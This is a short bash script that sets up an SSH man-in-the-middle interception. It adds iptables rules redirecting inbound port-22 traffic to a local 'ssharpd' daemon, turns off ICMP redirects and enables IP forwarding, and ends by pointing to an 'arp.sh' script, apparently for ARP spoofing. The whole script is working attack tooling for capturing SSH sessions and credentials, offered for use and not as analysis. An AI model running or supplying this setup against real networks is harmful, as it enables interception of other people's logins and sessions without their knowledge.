#!/bin/bash

# set this path to a ssharpd binary
SSHARPD=./ssharp/__sshd

echo -n "Setting up ssh traffic redirection... "
iptables -t nat -A PREROUTING -p tcp --dport 22 --sport 1000:8000 -j REDIRECT --to-ports 10000 2> /dev/null
if [ "$?" != "0" ]; then
  echo "Error!"
  exit 1
fi

iptables -t nat -A PREROUTING -p tcp --dport 22 --sport 20000:60000 -j REDIRECT --to-ports 10000
if [ "$?" != "0" ]; then
  echo "Error!"
  exit 1
fi

echo "done."

echo -n "Configuring interfaces... "
for x in `ls /proc/sys/net/ipv4/conf`; do
  echo 0 > /proc/sys/net/ipv4/conf/$x/send_redirects
done

echo 1 > /proc/sys/net/ipv4/ip_forward
echo "done."


echo > /tmp/____asd
echo -n "Starting daemon... "
$SSHARPD -4 -p 10000 < /tmp/____asd 2> /dev/null

if [ "$?" != "0" ]; then
  echo "Error!"
  rm -rf /tmp/____asd
  exit 1
fi
rm -rf /tmp/____asd
echo "done."

echo "Dropping vicki@incidents.org a hint about suspicious traffic... "
echo "Error!"

echo "Now run arp.sh (uhh.. did you already write it?)"